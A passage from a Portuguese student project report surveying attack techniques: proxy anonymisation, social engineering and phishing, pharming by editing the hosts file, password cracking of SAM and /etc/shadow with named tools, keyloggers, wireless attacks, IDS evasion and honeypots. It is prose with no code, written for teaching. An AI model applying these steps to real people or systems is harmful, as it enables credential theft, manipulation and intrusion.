Depois de um sistema operativo ser infectado com este tipo de aplicações é muito difícil
a remover, de tal forma que, nem um antivírus nem um anti-spyware é capaz de o
eliminar. Assim, torna-se necessário a utilização de uma ferramenta apropriada para
combater este software como PC Anti-Hijacker, HijackThis, etc.
133
13 Esconder a identidade
Os atacantes recorrem na sua maioria a ataques de impersonalização para poderem
realizar outros ataques e não serem apanhados ou para incriminar utilizadores inocentes.
13.1 Métodos para esconder a identidade
13.1.1 Servidores Proxy
Servidores proxy são uma das formas mais comuns que um simples utilizador ou um
atacante usa para esconder a sua identidade, estes actuam como uma mascara que
esconde a identidade de quem os usa.
Normalmente quando queremos estabelecer uma ligação com um sistema efectuamos
uma ligação directa a esse sistema, mas se usarmos um servidor proxy, este vai
funcionar como um intermediário na comunicação. Para o efeito a informação que
queremos enviar é enviada para o servidor proxy e em seguida do servidor proxy para o
destino pretendido. Quando o sistema destino responde a informação é enviada para o
servidor proxy e o servidor proxy vai enviar a informação para o utilizador. Neste
procedimento é garantido o anonimato do utilizador uma vez que apenas o servidor
conhece a sua identidade.
Quando se pretende estabelecer uma ligação com um sistema são então efectuadas duas
ligações que são:
1. Uma ligação entre o sistema do utilizador e o servidor proxy;
2. Entre o servidor proxy e o sistema com que se pretende comunicar;
Se for efectuada uma ligação através de um servidor proxy é garantida a
confidencialidade da identidade com o exterior.
Um servidor proxy pode ser usado:
Por um simples utilizador de Internet para esconder e proteger a sua verdadeira
identidade enquanto navega;
Por um atacante para esconder a sua identidade para não poder ser seguido e
apanhado, esta tarefa é simplificada pelo facto de muitos servidores proxy não
guardarem os registos de utilização, pelo que se torna impossível saber quem
usou o sistema para se ligar;
134
Pelos empregados de organizações para dar a volta a sistemas de filtragem que
se encontram a bloquear o acesso a programas de conversação, o acesso a
páginas web, etc.;
Se um atacante pretender navegar anonimamente na Internet existe a possibilidade de
utilizar um proxy web, ou seja uma página em que apenas se coloca o endereço para
onde se pretende navegar anonimamente. Para este serviço existem páginas como
http://proxify.com/.
Imagem 69 – Screenshot da página “proxyfy.com” que permite navegar
anonimamente na web.
135
Imagem 70 – Screenshot do servidor proxy “Your-Freedom” que permite o
uso de aplicações bloqueadas na rede e que se navegue sem restrições na
Internet.
13.1.2 Proxy Bouncing
É uma técnica que consiste em o atacante se ligar a vários servidores proxy até chegar
ao endereço pretendido. Um atacante pode-se ligar a vários servidores localizados em
locais muito distantes de forma a despistar quem o esteja a tentar encontrar.
Efectua uma ligação da seguinte forma:
Atacante-----» Proxy1------» Proxy2 ------» Proxy3 ------» Proxy N ------»
Destino Pretendido
Este trabalho é facilitado por algumas ferramentas que permitem que o atacante faça
ligações a vários servidores e que além disso tem a capacidade de permutar de
servidores durante a ligação.
Algumas ferramentas usadas são Squid para linux, Wingate para Windows, MultiProxy,
etc.
136
Imagem 71 – Screenshot da janela para fazer a autenticação no Gatekeeper.
São necessários privilégios de administração para correr a aplicação.
137
Imagem 72 – Screenshot da aplicaçao que permite configurar o Wingate.
A aplicação Wingate permite múltiplas configurações, por esse motivo em anexo além
da instalação encontra-se também o manual de instalação e de configuração. No manual
de configuração são apresentados screenshot’s de três configurações possíveis para
permitir ao utilizador configurar facilmente o programa.
138
14 Engenharia social
Engenharia social é a arte de conseguir enganar um individuo pela criação com este de
uma relação de confiança ou medo num período muito curto de tempo com o objectivo
de roubar informação. Esta informação pode consistir de dados pessoais, informação de
negócios, login, números de cartão de credito, etc.
Este é o único tipo de ataque que pode ser feito sem recurso a nenhuma ferramenta de
computador e com muito pouco conhecimento de informática. Para levar a cabo um
ataque de engenharia social é necessário apenas que o atacante tenha muita confiança
em si e no que faz, que consiga transmitir a vítima simpatia e que consiga falar de uma
maneira a criar ambiente entre ele e a vítima, basicamente tem de possuir as
características necessárias para ser um bom actor. O atacante tem de encontrar uma
vítima que nunca suspeite que pode estar a ser usada e depois tem de tentar criar entre
os dois ou um ambiente de confiança ou medo dependendo da vítima num espaço de
tempo muito curto e logo depois de criar esta relação roubar o que pretende.
Geralmente as vítimas dos atacantes são empregados novos que tem medo de perder o
seu emprego e que não receberam formação.
Resumindo, um atacante para ser bem sucedido tem de:
Ter um tom de voz agradável;
Ser amigável;
Geralmente tem de fingir que faz parte da organização ou que está a trabalhar a
pedido desta;
Fazer muita pesquisa sobre a pessoa que pretende manipular;
Falar de uma maneira directa e precisa, recorrendo a muitos termos técnicos;
Fazer pesquisa de maneiras de falar e estar dentro da organização que é suposto
apenas os empregados desta saberem que existe e apenas eles usam;
Fazer referência aos responsáveis superiores á vítima;
etc.
139
Imagem 73 – Esquema a representar como o atacante consegue evitar os
sistemas de protecção enganando um empregado da organização.
O esquema anterior mostra como é evitado investir na segurança da rede porque se um
atacante for capaz de manipular algum empregado consegue evitar todos os mecanismos
de protecção para aceder á rede e aos dados da organização.
14.1 Tipos de ataques
14.1.1 Impersonalização
Nesta técnica o atacante finge ser alguém envolvido na estrutura informática da
organização como o administrador de sistemas, alguém do departamento de informática,
um responsável pelo ISP, um responsável pela estrutura de redes, um responsável da
companhia de telefones, etc.
O atacante vai tentar obter a informação de login do empregado, um login que o
empregado conheça ou um login que o empregado pode redefinir com a desculpa de
uma falha na rede, uma perda na base de dados, etc.
O atacante tem de fazer muita pesquisa para saber se está em condições de iludir a
vítima escolhida pela quantidade de dados pessoais fornecidos à vítima, o atacante deve
ainda usar muitos termos técnicos que a vítima não percebe para a iludir e confundir.
140
14.1.2 Intimidação
Nesta técnica o atacante finge ser alguém que trabalha muito próximo do chefe ou
alguém muito importante na estrutura da empresa. O atacante usa o medo e intimidação
para adquirir informação do empregado. Para intimidar o empregado o atacante pode
dizer que as ordens vieram directamente do patrão e que este pode ficar descontente
com o empregado ou até despedi-lo.
O atacante pode dizer que se o empregado não cooperar o atacante pode ser despedido,
o atacante pode dizer que é novo e que não consegue fazer o que lhe pediram se o
empregado não o ajudar, etc.
14.1.3 Engenharia social com presença física do atacante
Consiste no atacante entrar no edifício fazendo de conta que é um funcionário,
convidado, empregado de limpeza ou qualquer outra pessoa de forma a iludir o
segurança. Depois de iludir o segurança o atacante dirige-se ao local que pretende e
extrai os dados pretendidos, para o atacante fazer este tipo de ataque tem de estar muito
confiante e conhecer muito bem o edifício para não ser apanhado ou identificado.
14.1.4 Phishing
Phishing consiste em apresentar ao utilizador uma página web clonada que simula um
site em que o utilizador se encontra registado como por exemplo Hotmail, gmail,
Citibank, ebay, etc. para adquirir os dados do utilizador, sejam estes os dados de login,
numero de cartão de credito, numero de identificação fiscal, nome completo, nome dos
pais, etc.
Para efectuar phishing é enviado á vítima geralmente um email, onde o atacante se
identifica como a organização verdadeira. No email apresenta uma justificação para o
envio deste, que pode ser a dizer que estão a efectuar uma actualização de dados, que
houve uma perda de dados e o utilizador tem de inserir os dados novamente para
recuperar a conta, que pretendem fazer uma actualização dos dados do utilizador, etc.
além desta justificação é apresentado uma hiper ligação com o endereço verdadeiro da
organização apresentado, mas que tem como destino um endereço diferente do que se
encontra escrito, pelo que o utilizador apenas se consegue aperceber deste esquema se
141
olhar para a barra de endereços e ver para que endereço foi reencaminhado. Caso o
utilizador insira os dados na página falsa o atacante adquire estes.
Para visualizar alguns exemplos basta ir ao endereço www.antiphishing.org.
Em seguida são apresentados printscreen’s de um ataque de phishing a utilizadores do
cartão Multibanco Visa.
Imagem 74 – printscreen do e-mail que a vítima recebe.
142
Imagem 75 – Printscreen da página para onde a vítima é reencaminhada ao
carregar no link que é indicado no e-mail.
Se a vítima não tiver com atenção e não reparar que a página apresentada não pertence á
Visa e preencher os dados o atacante vai conseguir obter os dados inseridos e aceder á
sua conta.
14.1.5 Pharming
O pharming assim como o phishing consiste no redireccionamento para um endereço
falso, mas enquanto no pharming este era feito com base numa hiperligação no
pharming este redireccionamento é feito ao nível do DNS. Para a vítima ser atacada tem
de ser inicialmente infectada com um vírus, spyware ou qualquer outro método que
permita alterar a informação localizada no ficheiro com a tabela usada pelo DNS que
tem o IP que corresponde a um determinado endereço (no Windows geralmente o
ficheiro é o “hosts” que se encontra em c:\WINDOWS\System32\drivers\etc\hosts),
alterando os valores que se encontram no ficheiro quando a vitima tentar aceder ao site
143
real é encaminhado sem se aperceber para o endereço falso e de resto o esquema do que
acontece é exactamente igual ao do phishing.
Imagem 76 - Configuração do ficheiro hosts.
Imagem 77 – Configuração do ficheiro Host alterado. O endereço IP
colocado para o google não é o correcto (é o endereço de www.MSN.com)
Assim o utilizador quando quiser aceder á página do google será direccionado para o
endereço IP indicado em vez do endereço verdadeiro o que vai levar a que seja
144
apresentada uma página diferente da pretendida (neste caso será enviado para a página
do MSN).
Este esquema é muito mais perigoso do que o phishing porque o utilizador não se
apercebe que está a ser enganado caso olhe para a barra de endereço.
145
15 Descobrir Passwords
A Password é o método de autenticação mais usado, principalmente por ser um método
de autenticação muito mais barato que dispositivos biométricos de leitura de impressão
digital, íris ou retina. É um método de autenticação usado para aceder ao sistema
operativo, ao e-mail, a documentos protegidos, etc.
Uma password tem como objectivo garantir a identidade de quem está a querer aceder a
um recurso.
A maioria dos utilizadores utiliza password’s muitos simples que consistem em palavras
presentes no dicionário ou um dado pessoal disponível a qualquer pessoa que faça
alguma pesquisa ou então usa as password’s por defeito e que podem ser descobertas
com uma pesquisa na Internet, A maioria dos utilizadores não cria uma password forte
ou altera a password regularmente por ser mais cómodo.
Este tipo de ataque é muito perigoso pois permite a um atacante assumir a identidade
da vítima e colocar a culpa nesta pelos actos dele. O atacante depois de conseguir
descobrir a password da vítima pode aceder aos dados bancários, descobrir dados da
vida pessoal ler o e-mail, difamar a vítima através do envio de e-mail a familiares,
amigos, parceiros económicos, cometer ataques contra outros sistemas com a identidade
da vítima, etc.
As passwords podem ser obtidas através de ferramentas que acedem a dicionários e
tentam todas as palavras existentes nestes, por ferramentas que experimentam todas as
combinações possíveis de palavras ou através de sniffers ou keyloggers.
15.1 Técnicas usadas para descobrir password’s
15.1.1 Adivinhar a Password
Neste método o atacante tenta juntar o máximo de informação sobre a vítima que
conseguir e depois tenta todas as palavras que costumam ser usadas pela maioria de
utilizadores para password como o nome do cão, o nome da namorada (o), a data de
nascimento, o numero de aluno, o numero de BI, etc. Este método pode ser aplicado de
duas formas. A mais demorada e complicada é o atacante estar a inserir as varias
hipóteses uma a uma até conseguir acertar na password e a outra consiste em organizar
146
as palavras que tem de tentar num ficheiro com uma organização semelhante a um
dicionário e no final correr uma aplicação que permita testar todas as palavras que se
encontram nele.
15.1.2 Passwords por defeito
Muitas aplicações trazem password de origem que devem ser alteradas antes de colocar
a aplicação a funcionar. Existem muitos utilizadores que por desconhecimento, preguiça
ou distracção se esquecem de alterar estas password’s. Quando um atacante tenta
descobrir a password para uma aplicação provavelmente vai verificar se estas
passwords foram alteradas ou não. Caso a password por defeito da aplicação não tiver
sido alterada o atacante consegue autenticar-se facilmente. A lista de password por
defeito da maioria das aplicações que contem uma pode facilmente ser encontrada e
retirada da Internet (encontra-se uma lista completa em
http://www.phenoelit.de/dpl/dpl.html e no ficheiro que se encontra no DVD).
15.1.3 Ataques baseados em dicionários de palavras
Este ataque apenas é bem sucedido se a vítima utilizar uma password existente no
dicionário que o atacante escolhe para percorrer.
Este ataque é baseado na tentativa e erro, ou seja, são percorridas todas as palavras
existentes no dicionário até ser encontrada a password ou ser atingido o final do
dicionário. Este ataque consome muitos recursos e é relativamente lento.
147
Imagem 78 – A aplicação LC5 permite carregar vários dicionários para
serem testados.
15.1.4 Ataques de força bruta
Esta é uma técnica usada apenas quando as anteriores falham. Nesta técnica é usada
uma ferramenta que experimente todas as combinações possíveis de todas as teclas
presentes no teclado e informa quando encontrar a password.
Esta técnica é muito lenta e demorada e podemos ter a sorte de a password corresponder
a uma das primeiras palavras testadas ou corresponder a uma das ultimas.
148
Imagem 79 – LC5 usado para um ataque de força bruta para descobrir o
login do Windows.
15.1.5 Keyloggers
O keylogger é um programa ou hardware que captura e armazena num ficheiro cifrado,
todas as teclas digitadas pelo utilizador no teclado do computador.
Existem keylogger por:
Software - Este tipo de software é instalado num sistema directamente, se o
atacante tiver acesso físico ao computador ou da mesma maneira que um vírus,
trojan ou spyware.
As instituições financeiras desenvolveram teclados virtuais para evitar que os
keyloggers de teclado conseguissem capturar informação de login, uma vez que,
o utilizador insere a password com o rato e não através do teclado. Esta
tecnologia não é segura, uma vez que foram desenvolvidas formas mais
avançadas de keyloggers, também conhecido como screenloggers. Estas novas
aplicações são capazes de armazenar a região onde se premiu o rato, porque
armazenam a posição do cursor e a imagem apresentada no monitor. Desta
149
forma um atacante pode obter a senha de acesso do banco inserida pelo
utilizador.
Os dados recolhidos por keyloggers são enviados para o endereço de email que
está configurado neste.
Existem keyloggers para todos os sistemas operativos, por exemplo existe o
klgr.tgz para linux e Windows Keylogger para windows, etc.
Imagem 80 – Screenshot do keylogger “Best Free Keylogger”.
Best Free Keylogger é uma aplicação é muito completa, pois permite capturar
todo o tipo de informação incluindo screenshot’s dos teclados virtuais usados
para autenticação em algumas páginas web. O atacante pode configurar o
programa para receber notificações por e-mail dos dados capturados.
Hardware - O keylogger por hardware é um dispositivo de hardware que se liga
entre a ficha do teclado e o e o computador. Existem versões de keyloggers que
se ligam á porta PS/2 e existe também para ligar a portas USB. Estes aparelhos
têm uma capacidade que varia entre os 32Kbytes (permitindo guardar por volta
de 32 mil teclas digitadas) e os 2 MBytes (usam memória flash).
Estes dispositivos não requerem nenhum software de configuração e não
consomem recursos do sistema o que permite que estejam instalados num
computador com qualquer sistema operativo.
150
Dependendo do modelo do dispositivo, os dados capturados podem ser
adicionados a um ficheiro que guarda a informação sobre as teclas pressionadas
e ainda a data e hora que foram pressionadas.
Algumas das empresas que produzem este equipamento atribuem um número de
série a cada um para que caso sejam usadas para uma actividade ilegal seja
possível encontrar o dono e possível culpado (é o caso dos modelos fabricados
pela empresa KEYGhost).
Imagem 81 – Fotografia de um computador sem o Keylogger por hardware
instalado e com o keylogger por hardware instalado.
A única forma de detectar um keylogger por hardware é averiguar manualmente junto à
cada máquina.
15.2 Password’s de aplicações
Algumas aplicações permitem limitar o acesso ou proteger conteúdos com recurso a
uma password. Estas aplicações apenas fornecem um falso sentimento de segurança,
porque existem ferramentas que quase imediatamente ou com extrema facilidade e
rapidez descobrem as password’s destas aplicações se o utilizador tiver escolhido uma
muito simples.
Alguns exemplos:
Advanced ZIP password Recovery, para descobrir password’s de ficheiros ZIP;
L0phtcrack, para descobrir passwords de utilizadores do Windows;
151
Advanced PDF password Recovery, para descobrir password’s de ficheiros
PDF;
Office Key, para descobrir password’s de ficheiros Office;
Internet Explorer Password Recovery, para descobrir password’s do Internet
Explorer;
etc.
15.3 Password’s do Windows
Existe apenas um ficheiro com a informação das contas de utilizadores que é o ficheiro
SAM (security accounts manager).
Podemos aceder a informação contida neste ficheiro de diversas formas:
Podemos usar um programa, por exemplo o LC5, que nos permite tentar
descobrir os utilizares do sistema e respectivas password’s directamente no
Windows;
Utilizar outro sistema operativo para conseguir acesso ao ficheiro SAM e copia-
lo ou usar a ferramenta de backup do Windows que faz backup deste ficheiro.
Depois disto podemos utilizar o programa pwdump2 para ter acesso a Hash que
contem a password codificada e em seguida podemos utilizar um dos programas
disponíveis para descodificar a Hash, podemos usar por exemplo o programa
John the Ripper ou L0phtcrack;
15.4 Password’s de Linux\Unix
Nos sistemas Linux a informação dos utilizadores do sistema e a sua password é
geralmente guardada no ficheiro “/etc/passwd”. A informação é cifrada usando um
algoritmo de sentido único, pelo que não é possível reverter a sua encriptação. Estes
ficheiros tem ainda a particularidade de em alguns casos apresentarem uma mascara em
vez de apresentarem a password encriptada. Esta mascara é um carácter especial usado
para aparecer no lugar da password, Quando ocorre esta situação a password é guardada
152
num ficheiro á parte (“/etc/shadow'') e apenas o utilizador root tem acesso, de leitura, a
ele.
Os passos para descobrir a password de um utilizador passa então por:
1. Descobrir a localização exacta do ficheiro que a contem;
2. Caso a password se encontre com uma mascara retirar esta para aceder á
password na sua forma encriptada. Este passo pode ser feito com recurso a
programas simples disponíveis na Internet ou ganhando acesso root ao sistema;
3. Utilizar uma aplicação para descobrir a password. Neste passo pode ser usada
uma ferramenta como John the Ripper;
153
16 Sistemas Wireless
Existem vários tipos de comunicações wireless para diversos tipos de dispositivos,
como telemóveis, telefones sem fios, satélites, redes de dados wireless( como 802.11a,
802.11b, 802.11g) ,redes de dados bluetooth, redes de dados infravermelhos, etc. Todas
estas tecnologias tem o mesmo objectivo, libertar o seu utilizador da restrição de espaço
ou distâncias e permitir a sua mobilidade.
Todos os sistemas wireless apresentam falhas de segurança que permitem a um atacante
ver o que o utilizador está a fazer ou capturar a informação (dos dados que esteja a ser
enviados, da chamada, etc.).
A tecnologia Bluetooth foi desenvolvida pela Ericsson com o objectivo de ser uma
tecnologia de transferência wireless barata e apenas a partir dos anos noventa passou a
ser usada para comunicação entre computadores, impressoras, e outros equipamentos.
Existem três classificações para a tecnologia bluetooth:
Classe 1, que é a classe com mais alcance, pode atingir até 100 metros e tem
uma potência de 100mW;
Classe 2, que consegue transmitir até 20 metros e tem uma potência de 2,5 mW;
Classe 3, que é a mais usada e alcança uma distancia até 10 metros e tem uma
potencia de 1 mW;
Esta tecnologia trabalha a uma frequência de 2,45 GHz e divide a largura de banda em
canais mais pequenos para não interferir com outros aparelhos que operem na mesma.
Quanto ás redes de dados wireless os standard’s mais usados são os da família 802.11
que foram desenvolvidos pelo IEEE em 1997.
As redes wireless têm dois modos de operação:
Ad-Hoc
Imagem 82 – Ligação wireless no modo Ad-Hoc
154
Este tipo de ligação é normalmente designado de peer-to-peer. Neste modo de
operação é necessário que ambos os sistemas tenham ligação wireless e não é necessário
um terceiro dispositivo para controlar a ligação.
Infra-estrutura
Imagem 83 – Ligação wireless no modo infra-estrutura
Neste modo de funcionamento a comunicação é centrada num dispositivo wireless
(wireless acess point ou AP), neste modo o AP é o responsável por toda a comunicação.
Para proteger as redes de dados wireless foi desenvolvido o mecanismo de segurança
WEP (Wired Equivalent Privacy) e mais tarde foi desenvolvido o WPA2 (Wi-fi
protected acess 2 ou 802.11i).
Existe um conjunto muito elevado de ferramentas para explorar redes wireless entre
eles:
NetStumbler, para detectar redes wireless ao alcance do dispositivo do atacante;
155
Imagem 84 – Screenshot a mostrar o funcionamento do NetStumbler.
Mognet, AirTraf, para fazer sniffing da rede;
WaveStumbler, Kismet, que serve para detectar redes wireless e fazer sniffing;
AirSnort, AirCrack, para fazer o descobrir a chave WEP;
etc.
16.1 Ataques a sistemas wireless
16.1.1 Ataques a sistemas Bluetooth
O primeiro exploit que surgiu para explorar falhas nas ligações bluetooth foi o
“Bluejacking” que permitia a um atacante enviar para dispositivos que se encontrassem
ao alcance do seu ficheiros (texto, imagens, sons).
Depois deste surgiram outros que passaram a permitir a um atacante roubar a
informação do dispositivo da vítima como (ficheiros de vídeo, calendário, agenda
telefónica, etc.), permitem ao atacante usar o dispositivo para enviar e receber sms, sem
que a vítima se aperceba. Este tipo de ataque é chamado de “Bluesnarfing”.
Existem diversas ferramentas para explorar sistemas bluetooth como bluesniff para fazer
pesquisas de dispositivos (usada para wardriving) e o RedFang para descobrir
dispositivos que se encontram no modo non-discoverable.
156
O primeiro worm a surgir com a capacidade de usar o sistema bluetooth para se
propagar foi o Cabir este apenas infecta telemóveis com o sistema operativo Symbian
da série 60 e quando infecta um procura outros ao seu alcance para se propagar. Este
worm enfrenta uma dificuldade na sua propagação que consiste em a futura vítima ter
aceitar que ele se instale no seu dispositivo, ele não tem a capacidade de se instalar
automaticamente.
16.1.2 Ataques ao mecanismo de segurança WEP
Quando se usa o mecanismo de segurança WEP o atacante precisa de ter alguma
paciência para descobrir qual a chave usada, porque tem de esperar que a chave que é
usada na cifra volte a ser usada para conseguir descobrir qual é pela análise de pacotes,
porque este mecanismo usa uma chave partilhada secreta para cifrar a comunicação,
mas esta chave ao fim de algumas horas volta ao valor inicial por esgotar todas as
combinações possíveis com o valor da chave (ou seja é necessário capturar uns milhões
de pacotes) ou pode ser usado o método desenvolvido pelo hacker chamado Korek e
que consiste em enviar informação para a rede e apesar de a resposta vir encriptada e o
atacante não conseguir decifrar a informação vai fazer com que seja criado muito trafico
de resposta o que faz com que seja possível descobrir a chave de encriptação num curto
espaço de tempo.
Quando se usa este mecanismo o MAC dos dispositivos que se encontram ligados pode
ser descoberto facilmente porque este protocolo não faz a encriptação do cabeçalho da
frame.
16.1.3 Sniffing
Um dos maiores problemas de uma rede wireless é a facilidade com que toda a
informação que passa na rede pode ser interceptada, para isto basta ter uma placa
wireless e coloca-la em modo promíscuo e ligar uma ferramenta de sniffing para redes
wireless e passa a ser possível ao atacante receber toda a informação que é transmitida
na rede.
157
16.1.4 Man-in-the-middle
Um atacante pode passar a desempenhar o papel de AP numa comunicação se a vítima
tiver mantido as opções para ligar ao AP com o sinal mais forte, caso o atacante tenha
um melhor posicionado em relação a vítima que o verdadeiro, a vítima em vez de se
ligar ao verdadeiro vai ligar-se ao AP do atacante e este passa a servir de intermediário
para a comunicação e vai receber toda a informação. Caso o atacante não consiga usar
este método pode fazer o spoofing do IP ou MAC adresss do AP e configurar o seu
sistema como o verdadeiro para passar a desempenhar o papel deste.
16.1.5 Host Routing
Consiste em encontrar um sistema que se encontra ligado a uma rede wireless e ao
mesmo tempo se encontra ligado a uma rede por cabo. Quando esta situação ocorre o
atacante pode atacar esse sistema de forma a activar, caso ainda não se encontre activo
no sistema atacado, o IP forwarding, o que vai fazer com que o atacante consiga utilizar
o sistema atacado para aceder a rede por cabo.
16.1.6 Negação de serviço
Um atacante numa rede wireless, pode efectuar um ataque de negação de serviço a
apenas um dispositivo ou a toda rede.
Os vários tipos de ataque de negação de serviço que podem ser feitos são:
Se o atacante pretender atacar a rede pode inundar o AP com pacotes EAPOL a
pedir autenticação na rede. Este tipo de ataque vai fazer com que o sistema não
seja capaz de responder a quantidade de pedidos que chegam, o que vai fazer
com que clientes legítimos não sejam capazes de validar a sua ligação.
Se o atacante pretender que um determinado sistema se desligue da rede pode
enviar continuamente frames de terminação de ligação para este não se
conseguir manter ligado ao AP.
Se o objectivo for mandar a baixo toda a rede pode comprar um mecanismo
semelhante ao dispositivo que se encontra num microondas, ou utilizar um
microondas alterado, sem protecção, para enviar um sinal de onda capaz de
158
inutilizar toda a rede, o problema deste ataque é que também é perigoso para as
pessoas que se encontram perto do dispositivo.
Se o atacante quiser destruir o AP tem de arranjar um equipamento que envie
ondas com uma potência muito elevada porque, o AP ao recebe-las avaria.
159
17 Ferramentas de protecção e
detecção de ataques
17.1 Sistemas de detecção de ataques
Os sistemas de detecção de intrusos (IDS) tem como função monitorizar o tráfego na
rede, detectar tentativas de intrusão na rede, para aceder a dispositivos ou recurso, tomar
medidas quando acontece uma intrusão na rede e tem de avisar os responsáveis por esta.
O sistema IDS mais conhecido e usado actualmente é o Snort. Esta ferramenta pode ser
usada em todos os sistemas operativos e existem várias aplicações que fornecem uma
interface gráfica para esta ferramenta.
Imagem 85 – Screenshot da aplicação IDSCenter que fornece um interface
gráfico para o Snort.
160
Um atacante para não ser detectado nem impedido de atacar uma rede por um sistema
IDS pode:
Sobrecarregar o sistema IDS com informação (Flooding). O objectivo de um
ataque desta natureza é de levar o sistema IDS a guardar o registo de muitos
ataques (de pouca importância) enquanto está a ser feito um ataque mais grave.
O objectivo de guardar muitos registos é de fazer com que o responsável pelo
sistema não se aperceba do ataque mais importante por causa da informação de
todos os ataques se encontrar misturada.
Enviar informação escondida para que o sistema IDS não detecte o ataque. Para
passar despercebido o atacante pode enviar, por exemplo, dados nos pacotes
TCP que tenham a flag SYN activa. Se o atacante fizer isto o sistema IDS vai
pensar que os pacotes são tráfego normal quando na verdade não o são.
Dividir a informação que se quer enviar para a vítima em vários pacotes. Este
tipo de técnica vai fazer com que a acção do atacante não seja detectada se o
sistema IDS não tiver a capacidade de reconstituir a mensagem completa. Esta
técnica é baseada na fragmentação de pacotes IP.
Existem várias ferramentas que permitem explorar as técnicas explicadas anteriormente,
como o Stich (efectua vários ataques em simultâneo), NIDSbench (divide a informação
a transmitir em vários pacotes), …
17.2 Firewalls
Uma firewall pode ser um dispositivo ou uma aplicação que serve para limitar e filtrar o
tráfego entre redes ou um dispositivo e a rede.
161
Imagem 86 – Exemplo de colocação de uma firewall por hardware na rede.
O esquema acima mostra como pode ser colocada na rede uma firewall por hardware.
Esta é colocada junto da ligação á Internet para filtrar a informação que é transmitida
para esta e toda a informação que chega á rede.
As firewall’s por software costumam ser instaladas apenas nos computadores que se
encontram ligados á rede ou computadores que se encontram directamente ligados á
Internet.
Uma firewall tem como objectivo examinar, limitar e permitir ou rejeitar o tráfego. Uma
firewall pode cumprir a sua função de diferentes modos, pode basear-se apenas na
análise dos pacotes (tipo de protocolo, valor das flag’s, endereço de origem e de destino,
…), no estado das ligações (mantêm registo de todas as ligações activas e não permite
por exemplo um pacote TCP com a flag ACK se não existir registo da sessão). Se a
firewall for um servidor proxy pode ainda fazer inspecção do conteúdo de pacotes que
se destinem a aplicações para permitir ou negar a sua transmissão.
Um atacante para tentar obter informação sobre a firewall que está a ser usada numa
organização pode correr ferramentas como Hping, Firewalk,, traceroute, Telnet, etc.
para analisar a resposta da firewall e obter a versão, tipo e configuração desta. Depois
do atacante obter o máximo de informação sobre a firewall pode tentar aceder a rede de
várias maneiras, por exemplo: explorar uma vulnerabilidade que ainda não tenha sido
162
corrigida nela, explorar uma falha na configuração das listas de controlo de tráfego
(ACL’s), etc.
17.3 Honeypots
Um Honeypot pode ser constituído por um computador que pareça pertencer á rede da
organização que o atacante pretende explorar ou pode ser uma rede de computadores
(neste caso chama-se honeynet). Um honeypot é um sistema que serve de engodo para o
atacante, ou seja, cria a ilusão que é um sistema real que o atacante pode explorar para
obter informação, usar para aceder a mais computadores da rede interna ou que pode
usar para atacar outro computador ou redes mas, se este estiver bem configurado não
permite ao atacante sair de dentro deste e monitoriza todas as operações do atacante
dentro deste.
O atacante antes de tentar invadir a rede pode executar ferramentas como, THC-Amap,
Nessus ou Send-safe Honeypot Hunter para saber se a rede que está a tentar invadir é
uma Honeynet ou se o computador que encontrou é um Honeypot. Se o atacante
encontrar um pode tentar verificar se existe alguma vulnerabilidade na versão instalada
ou se vai ficar preso se entrar nele e neste caso é obrigado a encontrar outra forma para
invadir o sistema.
163
Imagem 87 – screenshot da aplicação Send-Safe Honeypot Hunter
A aplicação Send-Safe Honeypot Hunter é uma ferramenta que permite verificar a lista
de servidores proxy para garantir que o utilizador não se liga a um servidor falso ,
chamado de “Honeypot”, que tem como função analisar o trafico que se pretendia
transmitir pelo servidor.
164
Imagem 88 – Este esquema mostra a criação de uma rede falsa (Honeynet) com
3 computadores.
O esquema acima mostra a criação de uma rede Honeynet que tem por objectivo
enganar um atacante que pretenda atacar o sistema. A rede criada serve para desviar a
atenção do atacante da rede real e poder monitorizar os passos do atacante para saber
que técnicas usaram para invadir o sistema para poder corrigir as falhas.
165
18 Conclusão
18.1 Objectivos realizados
Como já foi dito anteriormente, o objectivo inicial do projecto era desenvolver uma
plataforma que simulasse ataques. Uma vez que não tínhamos conhecimentos nessa área
ficou definido que o objectivo deste trabalho seria investigação e estudo sobre a área.
A nível teórico recolhamos o máximo de informação possível em livros, sites, vídeos,
entre outros. A partir destes separamos os temas e apresentamos e detalhamos cada um
deles a nível teórico. A este nível consideramos que o relatório fornece uma boa
informação teórica para o próximo grupo estudar o funcionamento dos vários tipos de
ataques.
Infelizmente devido a falta de tempo roubado pelas disciplinas do segundo semestre,
não conseguimos inserir exemplos, imagens de explicação e printscreen’s do
funcionamento de aplicações na quantidade que desejávamos. De qualquer forma demos
exemplo de ferramentas que permitem efectuar cada um dos ataques e inserimos
printscreen’s de alguma delas.
18.2 Outros trabalhos realizados
Para completar o objectivo do projecto acrescentamos ao trabalho mais dados teóricos,
vídeos e apresentações.
È necessário compreender o contexto onde os ataques se inserem para posteriormente
perceber o funcionamento dos vários tipos de ataque. Portanto, acrescentamos um
capítulo com noções gerais necessárias para compreender os modelos de transmissão de
dados. Esta informação é importante para perceber o funcionamento de ataques como o
Denial of Service, o ARP Poisoning, etc. O a explicação sobre o registo do Windows é
importante pois é neste onde estão as referências para possíveis malwares instalados no
sistema. O capítulo sobre o funcionamento dos ponteiros de funções em C, é necessário
para a compreensão do capítulo sobre overflow.
166
Juntamos vários vídeos e apresentações ao projecto. As aplicações recolhidas têm
explicações e tópicos importantes sobre ataques. Alguns vídeos existentes contêm
explicações sobre determinados tipo de ataques. Outros tem a explicação de utilização
de algumas ferramentas e a demonstração dos passos necessários para a execução de um
ataque.
18.3 Trabalho a desenvolver no futuro
No seguimento deste trabalho existem várias tarefas à desenvolver. Aquela que
consideramos ser a próxima tarefa a realizar é o da criação e configuração de uma rede
por cabo e uma rede wireless com alguns computadores ligados. Os computadores
colocados na rede devem possuir sistemas operativos diferentes e devem ter instalado as
aplicações que se costumam encontrar instaladas num servidor para que sejam
exploradas as suas vulnerabilidades.
Depois da rede e dos computadores se encontrarem configurados, deve ser efectuado
um backup de todas as configurações, para que seja possível recuperar rapidamente a
configuração de um dispositivo caso ocorra um erro muito grave ao testar alguma
ferramenta.
A etapa seguinte consiste em instalar as aplicações que foram entregues no DVD, para
que se perceba qual o funcionamento das aplicações de hacking que foram apresentadas
no decorrer do relatório.
No DVD encontram-se as instalações das plataformas de simulação da organização
Foundstone que devem ser instaladas para que se fique com uma noção de que tipo de
software se pretende desenvolver.
A tarefa final é desenvolver uma plataforma que simule o funcionamento das
ferramentas testadas. A plataforma a desenvolver deve apresentar uma interface que
simule a interface das aplicações usadas para efectuar ataques. Será necessário obrigar o
utilizador a efectuar os mesmos passos e inserir os mesmos dados que tem de inserir na
aplicação real e deve de apresentar os resultados que se obteriam se fosse usada a
ferramenta verdadeira.
